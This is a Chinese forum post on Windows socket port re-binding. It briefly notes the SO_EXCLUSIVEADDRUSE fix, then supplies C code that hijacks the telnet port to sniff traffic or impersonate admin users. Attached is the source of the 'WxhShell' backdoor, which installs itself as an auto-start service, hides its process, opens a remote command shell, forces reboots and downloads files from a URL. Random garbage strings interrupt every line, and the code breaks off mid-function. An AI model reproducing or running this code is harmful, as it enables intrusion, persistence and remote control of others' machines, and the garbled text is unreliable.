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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x*/S*!vx\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0'IBN}  
73){K?R  
  saddr.sin_family = AF_INET; x7$}8LZ"B  
@9"J|}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O?|gp<=d  
f!JS= N?3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #f+$Ddg*  
? YG)I;(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o]opdw  
=AuR:Tx  
  这意味着什么?意味着可以进行如下的攻击: k1!@^A  
cb}[S:&|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r9dyA5oD  
ow]053:i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zE_i*c"`  
53[~bwD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YD7Oao4:o  
|vw"[7_aS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /gG"v5]  
)-. _FOZ6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =&:Y6XP  
^ (FdXGs[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5s]. @C8  
>:b Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @/31IOIV]`  
^- d%r  
  #include sQ\8>[]   
  #include *Em,*!  
  #include ,KFapz!  
  #include    (I./ Uu%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }1upi=+ aE  
  int main() .;N1N^  
  { mrjswF27$o  
  WORD wVersionRequested; V=*wKuB  
  DWORD ret; _D+J!f^  
  WSADATA wsaData; ^cuc.g)c$?  
  BOOL val; )h)]SF}  
  SOCKADDR_IN saddr; (}2~<   
  SOCKADDR_IN scaddr; bR)(H%I  
  int err; .*)2SNH  
  SOCKET s; 1|jt"Hz  
  SOCKET sc; Dbz3;t  
  int caddsize; 7yh /BZ1  
  HANDLE mt; @qYp>|AF  
  DWORD tid;   Uw7h=UQh  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ (jKz}'~U  
  err = WSAStartup( wVersionRequested, &wsaData ); T]c%!&^ _  
  if ( err != 0 ) { 5wDg'X]>V  
  printf("error!WSAStartup failed!\n"); XD2v*l|Po  
  return -1; )'+8}T]xQ  
  } uwy:t!(j  
  saddr.sin_family = AF_INET; p|p l  
   ^\S~?0^m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;67x0)kn  
Ptdpj)oi&Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L}pt)w*V1j  
  saddr.sin_port = htons(23); W@I|Q -  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N <Xq]! K-  
  { @P?~KW6<|  
  printf("error!socket failed!\n"); io8'g3<  
  return -1; ]&Rx@&e*  
  } "9Q40w\  
  val = TRUE; ]%u@TK7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K42K!8$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mrF58Uq;A  
  { z+n,uHs  
  printf("error!setsockopt failed!\n"); ybKWOp:O  
  return -1; pz.JWCU1  
  } wLnf@&jQ%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9eQxit7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |M, iM]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QvKh,rBFVG  
t,+nQ9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ) u`[6,d  
  { 85Otss/mM  
  ret=GetLastError(); y1+*6|  
  printf("error!bind failed!\n"); 4J/}]Dr5  
  return -1; 4?q <e*W  
  } >]vlkA(  
  listen(s,2); 2OVRf0.R~  
  while(1) waj0"u^#  
  { =E#%'/ A;c  
  caddsize = sizeof(scaddr); vkEiOFU!u  
  //接受连接请求 sW'2+|3"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Z !)^j  
  if(sc!=INVALID_SOCKET) ;"~ fZ2$U  
  { x#xFh0CA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :Ra,Eu  
  if(mt==NULL) =*c7i]@}  
  { .7avpOfz  
  printf("Thread Creat Failed!\n"); #PH~1`vl  
  break; lHPd"3HDK  
  } Ssou  
  } mQ|v26R  
  CloseHandle(mt); !u[eaLxV  
  } &&8IU;J  
  closesocket(s); :fZ}o|t7  
  WSACleanup(); _C*fs< #  
  return 0; |es?;s'  
  }   Ki$MpA3j   
  DWORD WINAPI ClientThread(LPVOID lpParam) &-Gqdnc  
  { xg;+<iW  
  SOCKET ss = (SOCKET)lpParam; YSic-6z0Ms  
  SOCKET sc; lJ}_G>GJ  
  unsigned char buf[4096]; DpvI[r//'*  
  SOCKADDR_IN saddr; L(|N[#  
  long num; c]n1':FT"  
  DWORD val; 7'W%blg!V  
  DWORD ret; {byBc G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g+Sbl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <oT^A|JFj  
  saddr.sin_family = AF_INET; %^4CSh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;RC{<wBTx  
  saddr.sin_port = htons(23); ;S^'V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0uOkMuy<  
  { rrBsb -  
  printf("error!socket failed!\n"); xSsa(b  
  return -1; - -HZX  
  } H Y&DmE  
  val = 100; [S9K6%w_!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;5S9y7[i|  
  { 1Z+8r  
  ret = GetLastError(); t4zkt!`B  
  return -1; G\Cp7:j}  
  } vgH3<pDiU6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mGJKvJF   
  {  8pIP  
  ret = GetLastError(); YQ9'0F[l  
  return -1; i@)i$i4  
  }  ' V^6XI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q  Nh|Wz  
  { 4ew" %Cs*  
  printf("error!socket connect failed!\n"); N~goI#4  
  closesocket(sc); (_mnB W  
  closesocket(ss); bnq; )>&  
  return -1; ' g=  
  } ODNM+#}`  
  while(1) pN:Kdi  
  { Wz49i9e+d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [q) 8N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bMg(B-uF7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ui_8)z _  
  num = recv(ss,buf,4096,0); !;Yg/'vD-  
  if(num>0) cl=EA6P\X  
  send(sc,buf,num,0); aQ?/%\>  
  else if(num==0) 5\5/  
  break; Y)0*b5?1r  
  num = recv(sc,buf,4096,0); DS.RURzd{r  
  if(num>0) AS'R?aX|C  
  send(ss,buf,num,0); /Y W>*?"N  
  else if(num==0) DCIxRPw  
  break; "7'J &^|  
  } R_W+Ylob  
  closesocket(ss); ?I_s0k I  
  closesocket(sc); QdH\LL^8R4  
  return 0 ; V:In>u$QJ!  
  } qT{U(  
W=^#v  
0%&1\rm+j  
========================================================== @5=oeOg36  
vM*-D{  
下边附上一个代码,,WXhSHELL y~ AVei&  
DBW[{D E  
========================================================== WejY y|  
w28o}$b`  
#include "stdafx.h" @=bLDTx;c)  
A!s`[2 Z  
#include <stdio.h> jSh5!6O  
#include <string.h> 2,$8icM  
#include <windows.h> Cc+t}"^  
#include <winsock2.h> l2zFKCGF(  
#include <winsvc.h> @Owb?(6?  
#include <urlmon.h> we~[] \  
:q$.,EZ4#n  
#pragma comment (lib, "Ws2_32.lib") 0%9 q8 M;  
#pragma comment (lib, "urlmon.lib") zT =Ho   
:~b3^xhc^  
#define MAX_USER   100 // 最大客户端连接数 lGPUIoUo  
#define BUF_SOCK   200 // sock buffer 0bceI  
#define KEY_BUFF   255 // 输入 buffer .0S~872  
8'r2D+Vwm  
#define REBOOT     0   // 重启 1n >X[! 8x  
#define SHUTDOWN   1   // 关机 |%F=po>w  
~P*6ozSYpY  
#define DEF_PORT   5000 // 监听端口 b3&zjjQ  
9_L[w\P|4  
#define REG_LEN     16   // 注册表键长度 |{BIHgMh  
#define SVC_LEN     80   // NT服务名长度 ?{P"O!I{  
@TLS<~  
// 从dll定义API iEVb"w0 59  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +X#vVD3"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aE`c%T):`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q M fT>rH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V]|^&A _c  
3 R=,1<  
// wxhshell配置信息 `YFtL  
struct WSCFG { f/ ?_  
  int ws_port;         // 监听端口 'DY`jVwa  
  char ws_passstr[REG_LEN]; // 口令 CY 4gSe?  
  int ws_autoins;       // 安装标记, 1=yes 0=no K SbKEA  
  char ws_regname[REG_LEN]; // 注册表键名 y6ECdVF  
  char ws_svcname[REG_LEN]; // 服务名 PlU*X8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IpINH3odT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B-?6M6#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yCd-9zb=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *rM^;4Zt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <;9 I@VYK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0IwA#[m1`  
:#LLo}LKp  
}; 2KB\1&N  
!*s?B L  
// default Wxhshell configuration u!!Y=!y*<  
struct WSCFG wscfg={DEF_PORT, -E^vLB)O  
    "xuhuanlingzhe", !^^?dRd*v  
    1, \l'm[jy>  
    "Wxhshell", eV 2W{vuI  
    "Wxhshell", #+:9T /*>0  
            "WxhShell Service", 8;d:-Cp  
    "Wrsky Windows CmdShell Service", W3]_m8,Z  
    "Please Input Your Password: ", 8qk?E6  
  1, \kp8S'qVo  
  "http://www.wrsky.com/wxhshell.exe", 6 bomh2  
  "Wxhshell.exe" X@$f$=  
    }; _BM" ]t*  
n G,A@/N  
// 消息定义模块 >QjAoDVX?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X}=n:Ql'YY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^`*9QjY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y'c>:;JEe  
char *msg_ws_ext="\n\rExit."; =!kk|_0%E  
char *msg_ws_end="\n\rQuit."; M`. tf_x  
char *msg_ws_boot="\n\rReboot..."; jlkmLcpf  
char *msg_ws_poff="\n\rShutdown..."; G<At_YS  
char *msg_ws_down="\n\rSave to "; 0C =3dnp6  
H35S#+KX  
char *msg_ws_err="\n\rErr!";  J}htu  
char *msg_ws_ok="\n\rOK!"; j5K]CTz#  
Hc!  mB  
char ExeFile[MAX_PATH]; ?+_Gs;DGVE  
int nUser = 0; _g+JA3sIJ  
HANDLE handles[MAX_USER]; Vu)4dD!  
int OsIsNt; vL|SY_:4  
\.C +ue  
SERVICE_STATUS       serviceStatus; TlXI|3Ip  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B:dB,3,`(  
&Lt}=3G  
// 函数声明 t#Z-mv:(  
int Install(void); =@m &s^R  
int Uninstall(void); {v=T [D  
int DownloadFile(char *sURL, SOCKET wsh); udxFz2>_l$  
int Boot(int flag); J5di[nu  
void HideProc(void); gi(H]|=a  
int GetOsVer(void); !g?|9  
int Wxhshell(SOCKET wsl); *?Lv3}E  
void TalkWithClient(void *cs); _4rFEYz$d  
int CmdShell(SOCKET sock); '[U8}z3  
int StartFromService(void); =q>'19^Jx  
int StartWxhshell(LPSTR lpCmdLine); >/:" D$  
KX!T8+Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); = 6tHsN23  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %dRo^E1p  
5\N(PL  
// 数据结构和表定义 ~;QvWS  
SERVICE_TABLE_ENTRY DispatchTable[] = z8jk[5z  
{ 3[\iQ*d }B  
{wscfg.ws_svcname, NTServiceMain}, J{l1nHQZSu  
{NULL, NULL} 8B7cBkl:  
}; +vYoB$!  
u}>#Eb  
// 自我安装 |S_T^'<W  
int Install(void) $56Z#'(D  
{  V_C-P[2~  
  char svExeFile[MAX_PATH]; AjmVc])  
  HKEY key; B\<Q ;RI2;  
  strcpy(svExeFile,ExeFile); Ao&\EcIOT  
G'rxXJq  
// 如果是win9x系统,修改注册表设为自启动 IC#>X5  
if(!OsIsNt) { IM:=@a{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D;oe2E{I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @.osJ}FxA  
  RegCloseKey(key); oeKHqP wg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nA?`BOe(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hhSy0  
  RegCloseKey(key); XUM!Qv  
  return 0; $k|g"9  
    } G %N $C  
  } BHd&yIyI  
} k ]W[`  
else { aiQ>xen5C5  
YCdS!&^UN  
// 如果是NT以上系统,安装为系统服务 !zux z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G3{Q"^S"  
if (schSCManager!=0) rFIqC:=  
{ t2EHrji~  
  SC_HANDLE schService = CreateService w<C#Bka  
  ( ~u)}ScTp  
  schSCManager, ]p*l%(dhY  
  wscfg.ws_svcname, V\6=ySx  
  wscfg.ws_svcdisp, VOKZ dC-  
  SERVICE_ALL_ACCESS, p%iGc<vHX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3Dg,GaRk  
  SERVICE_AUTO_START, WzAb|&?  
  SERVICE_ERROR_NORMAL, JCz@s~f\y  
  svExeFile, F ;{n"3<  
  NULL, .EpV;xq}  
  NULL, Cnnh7`  
  NULL, E>&n.%  
  NULL, %dJX-sm@  
  NULL 7x#Ckep:I  
  );  gG uZ8:f  
  if (schService!=0) <!L>Exh&r  
  { bQE};wM,  
  CloseServiceHandle(schService); k xP-,MD  
  CloseServiceHandle(schSCManager); uJOJ-5}yt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (H)2s Y  
  strcat(svExeFile,wscfg.ws_svcname); 4 d;|sI@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VK}fsOnj0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QN@CPuy  
  RegCloseKey(key); I{ HN67O  
  return 0; aki _RG>U'  
    } HKF H/eV  
  } Kpb#K[(]&  
  CloseServiceHandle(schSCManager); >GQEqXs  
} L~_9_9c  
} Z= jr-)kK  
g$( V^  
return 1; qi;f^9M%  
} OH;b"]  
D0gZC  
// 自我卸载 k:*S&$S!E  
int Uninstall(void) !O-T0O   
{ Z&0'a  
  HKEY key; N U|d  
, 3,gG "  
if(!OsIsNt) { Dpvk\t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #6ri-n  
  RegDeleteValue(key,wscfg.ws_regname); Uh7v@YMC  
  RegCloseKey(key); =.y~fA!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wm]^3q I2  
  RegDeleteValue(key,wscfg.ws_regname); MG[o%I96  
  RegCloseKey(key); Vm%1> '&  
  return 0; $P>`m$(8  
  } ${+ @gJ+S  
} 7#@cz5Su  
} S?RN?1  
else { N*%@  
j]*j}%hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Ycco,x  
if (schSCManager!=0) iOwx0GD.n  
{ n.wF&f'D]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HOw -]JSP2  
  if (schService!=0) m0LTx\w!  
  { 8d?g]DEN)6  
  if(DeleteService(schService)!=0) { "5;;)\o ~  
  CloseServiceHandle(schService); @.G[s)x  
  CloseServiceHandle(schSCManager); ~7Ts_:E-  
  return 0; ^[]}R:  
  } #Xhdn\7  
  CloseServiceHandle(schService); x\F,SEj  
  } -`<kCW"  
  CloseServiceHandle(schSCManager); K#*reJ}K  
} !lEY=1nHOJ  
} >wb 'QzF:  
.{ 44a$)  
return 1; [!}:KD2yX  
} U"q/rcA  
)E6;-rD0^+  
// 从指定url下载文件 b`)){LR  
int DownloadFile(char *sURL, SOCKET wsh) (rkyWz  
{ O<96/a'  
  HRESULT hr; *:>"q ej  
char seps[]= "/"; mocI&=EF2X  
char *token; D@.tkzU@E  
char *file; 7h6,c/<  
char myURL[MAX_PATH]; VUVaaOmO  
char myFILE[MAX_PATH]; {T4  
`VKf3&|<A  
strcpy(myURL,sURL); {z(xFrY  
  token=strtok(myURL,seps); .uyGYj-C  
  while(token!=NULL) YGv<VOWG2  
  { &07]LF$]  
    file=token; ^&bRX4pYo  
  token=strtok(NULL,seps); vr0WS3  
  } , #U .j  
@?=|Y  
GetCurrentDirectory(MAX_PATH,myFILE); 1U^A56CN  
strcat(myFILE, "\\"); /rq VB|M  
strcat(myFILE, file); S|apw7C  
  send(wsh,myFILE,strlen(myFILE),0); m>4ahue$  
send(wsh,"...",3,0); q6_u@:3u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JL\w_v  
  if(hr==S_OK) 5m?8yT}  
return 0; 8'<-:KG  
else )t$,e2FY  
return 1; @fs`=lL/  
A3B56K  
} x%+aKZ(m)  
?_"+^R z  
// 系统电源模块 j7sKsbb  
int Boot(int flag) 0G7K8`a  
{ u}!@ ,/)  
  HANDLE hToken; 'd+N Vj{C  
  TOKEN_PRIVILEGES tkp; _^el\  
0$7s^?G0  
  if(OsIsNt) { COTp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8<.C3m 6h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F;gx%[$GX  
    tkp.PrivilegeCount = 1; JNkwEZhHyg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vhsk 0$f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qw@puw@D  
if(flag==REBOOT) { .pfP7weQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C0S^h<iSe*  
  return 0; w"OP8KA:^T  
} `}BF${vF  
else { X@k`3X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d+X}cq=  
  return 0; mN!lo;m5  
} Ku\Y'ub  
  } Q3|T':l4  
  else { w3=%*<  
if(flag==REBOOT) { AtF3%Z v2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pGf@z:^{*-  
  return 0; {e+-vl  
} v2H#=E4cZ#  
else { vC1v"L;[o/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]UH`Pdlt  
  return 0; ,0E{h}(  
} ZQ_xDKqRV  
} z)z{3rR|PW  
ccLq+a|  
return 1; d?:=PH  
} a@\D$#2r  
Pu"R,a  
// win9x进程隐藏模块 K4]g[z  
void HideProc(void) hoQs @[  
{ )//I'V  
AC;V m: @{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u0#}9UKQ  
  if ( hKernel != NULL ) >. '<J]  
  { \MjJ9u `8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NPd%M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =JKv:</.G  
    FreeLibrary(hKernel); mt5KbA>nU  
  } /9zE^YcT  
6ezS{Q  
return; Tszp3,]f  
} 34wkzu  
{dL?rQ>5L  
// 获取操作系统版本 MXzVgy  
int GetOsVer(void) "y_#7K  
{ %H]lGN)  
  OSVERSIONINFO winfo; X=Ys<TM,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q^A+<d  
  GetVersionEx(&winfo); 3,]gEE3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m;D- u>o  
  return 1; Wm);C~Le  
  else $KLD2BAL  
  return 0; I!>\#K  
} {X[ HCfJd  
# eCjn  
// 客户端句柄模块 *P 3V  
int Wxhshell(SOCKET wsl) `ORECg)  
{ e"'#\tSG  
  SOCKET wsh; zGc: @z  
  struct sockaddr_in client; ++aL4:  
  DWORD myID; )u/H>;L P  
2*N_5&9mE  
  while(nUser<MAX_USER) OM|Fwr$  
{ .Wq@gV  
  int nSize=sizeof(client); : C b&v07  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AgRjr"hF*e  
  if(wsh==INVALID_SOCKET) return 1; 1fo U  
rp6q?3=g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j6  
if(handles[nUser]==0) jMbC Y07v  
  closesocket(wsh); o$[z],RO  
else !!4Qj  
  nUser++; V^hE}`>z&  
  } E[O<S B I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n @?4b8"  
_:X|.W  
  return 0; p|Q*5TO  
} !<UJ6t}  
7C$ 5  
// 关闭 socket cZ(elZ0~  
void CloseIt(SOCKET wsh) 0b/WpP  
{ f)g7 3=  
closesocket(wsh); -AhwI  
nUser--; t\RF=BbJJ  
ExitThread(0); B%KG3]  
} 6<N5_1  
&z]K\-xp  
// 客户端请求句柄 lip[n;Ir>  
void TalkWithClient(void *cs) 8[|UgI,>z  
{ "*;;H^d  
/sr2mt-Q  
  SOCKET wsh=(SOCKET)cs; u(OW gbA3  
  char pwd[SVC_LEN]; eL4NB$Fb  
  char cmd[KEY_BUFF]; ?%VI{[y#>  
char chr[1]; j S;J:$>^  
int i,j; /s-A?lw^2  
>yXN,5d[  
  while (nUser < MAX_USER) { 2P]L9'N{Y  
CH fVQ|!\  
if(wscfg.ws_passstr) { `60gFVu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4;HJ;0-ps  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }lK3-2Pk  
  //ZeroMemory(pwd,KEY_BUFF); w~#nYM=fP!  
      i=0; -tnQCwq#  
  while(i<SVC_LEN) { BW"&6t#kA  
N`E-+9L)  
  // 设置超时 etd&..]J  
  fd_set FdRead; *26334B.R  
  struct timeval TimeOut; {CR5K9  
  FD_ZERO(&FdRead); >(y<0   
  FD_SET(wsh,&FdRead); gtYAHi  
  TimeOut.tv_sec=8; `\X+ Ud|  
  TimeOut.tv_usec=0; 3:{yJdpg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'kYwz;gp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .i^7|o:  
X*Z8CM_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gr-fXZO  
  pwd=chr[0]; h?-#9<A  
  if(chr[0]==0xd || chr[0]==0xa) { I+ es8  
  pwd=0; xr7+$:>a  
  break; <" @zn  
  } vsL[*OeI  
  i++; bW ZbG{Y.  
    } W5^.-B,(K  
~+<olss_  
  // 如果是非法用户,关闭 socket {V1Pp;A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n!6Z]\8~$  
} '|7Woxl9  
.XkMk|t8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lQfL3`X!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .>wv\i [p  
=?h~.lo  
while(1) { 7 Sa1;%R  
ZhNdB  
  ZeroMemory(cmd,KEY_BUFF); BS q)RV/3  
+n})Y  
      // 自动支持客户端 telnet标准   kQaSbpNmH  
  j=0; Mc-)OtmG[  
  while(j<KEY_BUFF) { |v[Rp=?]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qu< Bu)`  
  cmd[j]=chr[0]; T6pLoaKu  
  if(chr[0]==0xa || chr[0]==0xd) { *jMk/9oa<N  
  cmd[j]=0; D0mI09=GtQ  
  break; v`V7OD#:j]  
  } >a1{397Y}  
  j++; \v6 M:KR5/  
    } JlKM+UE :  
+,v-=~5  
  // 下载文件 M0| 'f'  
  if(strstr(cmd,"http://")) { >K# ,cxY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n,~;x@=5  
  if(DownloadFile(cmd,wsh)) :K?0e `  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DFO7uw1  
  else v(l eide  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yAL1O94  
  } okq[ o90  
  else { 8h<ehNX ^I  
M HL("v(@B  
    switch(cmd[0]) { tn|,O.t  
  J ti(b*~  
  // 帮助 :Vg}V"QR  
  case '?': { dbS +  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /D_+{dtE  
    break; `]$?uQ  
  } _{jP;W  
  // 安装 sA9 &/p/  
  case 'i': { -ng=l;  
    if(Install()) 8hA^`Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fg/dS6=n`?  
    else wA`"\MWm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wFlvi=n/  
    break; e75UMWaeC  
    } j<pw\k{i  
  // 卸载 AGYm';z3  
  case 'r': { ,}xbAA#  
    if(Uninstall()) P6Bl *@G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q W&$n^  
    else kC$&:\Rh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pK| SL  
    break; }<MR`h1  
    } +:6Ii9G N  
  // 显示 wxhshell 所在路径 5&CDHc7Oj  
  case 'p': { rZ_>`}O2  
    char svExeFile[MAX_PATH];  Voh hQ  
    strcpy(svExeFile,"\n\r"); 5)zn:$cz  
      strcat(svExeFile,ExeFile); (1pEEq84  
        send(wsh,svExeFile,strlen(svExeFile),0); +VEU:1Gt  
    break; )[&_scSa  
    } @\(vX]  
  // 重启 ?IX!+>.H  
  case 'b': { OlxX.wP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r^HA aGpC  
    if(Boot(REBOOT)) j2 h[70fWC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SW(q$i  
    else { DhI>p0* T  
    closesocket(wsh); *.f2VQ~H  
    ExitThread(0); |0bc$ZY:  
    } ^_p%Yv  
    break; d0 er^ ~  
    } %up}p/?  
  // 关机 ;52'}%5  
  case 'd': { Jf:,y~mV  
